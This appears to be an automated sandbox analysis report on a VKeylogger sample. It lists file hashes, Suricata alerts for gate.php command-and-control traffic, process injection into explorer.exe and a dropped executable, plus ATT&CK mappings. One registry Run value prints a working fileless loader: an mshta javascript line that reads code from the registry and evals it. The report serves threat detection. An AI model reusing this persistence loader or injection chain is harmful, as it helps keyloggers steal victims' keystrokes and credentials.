vkeylogger | 57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965

General

Target
57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe
Size 74KB
Sample220221-m6ewvsaghp
SHA256 57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965
MD5 ba4380237e7a0f220deaaada1fddff73
SHA1 394b852855574cffa26a66bec083792a21f87f79
SHA512 5e70426b3547020f93c62764f418ff7d475f4bf772130b056f33884e7b155b9675a4af292b356bd9897c5e6c665488989d7400dfb452d8544d1252b3e3798142
MD5 SHA1 SHA512

Score

10^/10

vkeylogger keylogger persistence stealer suricata

Malware Config

Signatures

VKeylogger
A keylogger first seen in Nov 2020.
stealer keylogger vkeylogger

VKeylogger Payload 1 IoCs

resource	yara_rule
behavioral1/memory/320-58-0x0000000000080000-0x0000000000092000-memory.dmp	family_vkeylogger

suricata: ET MALWARE Generic -POST To gate.php w/Extended ASCII Characters (Likely Zeus Derivative)
suricata: ET MALWARE Generic -POST To gate.php w/Extended ASCII Characters (Likely Zeus Derivative)
suricata
suricata: ET MALWARE Generic Request to gate.php Dotted-Quad
suricata: ET MALWARE Generic Request to gate.php Dotted-Quad
suricata
suricata: ET MALWARE Trojan Generic - POST To gate.php with no accept headers
suricata: ET MALWARE Trojan Generic - POST To gate.php with no accept headers
suricata
suricata: ET MALWARE Trojan Generic - POST To gate.php with no referer
suricata: ET MALWARE Trojan Generic - POST To gate.php with no referer
suricata
suricata: ET MALWARE Win32/Spy.Agent.QAQ Variant CnC Activity
suricata: ET MALWARE Win32/Spy.Agent.QAQ Variant CnC Activity
suricata
Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1168	493.exe

Loads dropped DLL 5 IoCs

pid	Process
320	explorer.exe
320	explorer.exe
320	explorer.exe
320	explorer.exe
320	explorer.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Windows\CurrentVersion\Run\grerg = "C:\\Users\\Admin\\AppData\\Local\\Temp\\57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Windows\CurrentVersion\Run\yrty = "C:\\Windows\\system32\\mshta.exe javascript:x=new%20ActiveXObject(\"wscript.shell\");v=x.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\SMSvcHost\\\\ComponentID\");eval(v);"	explorer.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 268 set thread context of 320	268	57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe	27
PID 1168 set thread context of 1968	1168	493.exe	34

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
268	57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe
320	explorer.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
320	explorer.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
320	explorer.exe
1168	493.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 268 wrote to memory of 320	268	57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe	27
PID 268 wrote to memory of 320	268	57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe	27
PID 268 wrote to memory of 320	268	57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe	27
PID 268 wrote to memory of 320	268	57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe	27
PID 320 wrote to memory of 1168	320	explorer.exe	33
PID 320 wrote to memory of 1168	320	explorer.exe	33
PID 320 wrote to memory of 1168	320	explorer.exe	33
PID 320 wrote to memory of 1168	320	explorer.exe	33
PID 1168 wrote to memory of 1968	1168	493.exe	34
PID 1168 wrote to memory of 1968	1168	493.exe	34
PID 1168 wrote to memory of 1968	1168	493.exe	34
PID 1168 wrote to memory of 1968	1168	493.exe	34
PID 1168 wrote to memory of 1968	1168	493.exe	34
PID 1168 wrote to memory of 1968	1168	493.exe	34
PID 1168 wrote to memory of 1968	1168	493.exe	34
PID 1168 wrote to memory of 1968	1168	493.exe	34
PID 1168 wrote to memory of 1968	1168	493.exe	34
PID 1168 wrote to memory of 1968	1168	493.exe	34
PID 1168 wrote to memory of 1968	1168	493.exe	34

C:\Users\Admin\AppData\Local\Temp\57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe
"C:\Users\Admin\AppData\Local\Temp\57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:268
- C:\Windows\SysWOW64\explorer.exe
  "C:\Windows\SysWOW64\explorer.exe"
  2⤵
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:320
- - C:\Users\Admin\AppData\Local\Temp\493.exe
    "C:\Users\Admin\AppData\Local\Temp\493.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1168
  - - C:\Program Files (x86)\Internet Explorer\ielowutil.exe
      "C:\Program Files (x86)\Internet Explorer\ielowutil.exe"
      4⤵
      PID:1968

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/268-55-0x0000000076141000-0x0000000076143000-memory.dmp

Download

memory/320-57-0x0000000074EE1000-0x0000000074EE3000-memory.dmp

Download

memory/320-58-0x0000000000080000-0x0000000000092000-memory.dmp

Download

memory/1968-69-0x0000000000400000-0x0000000000687000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads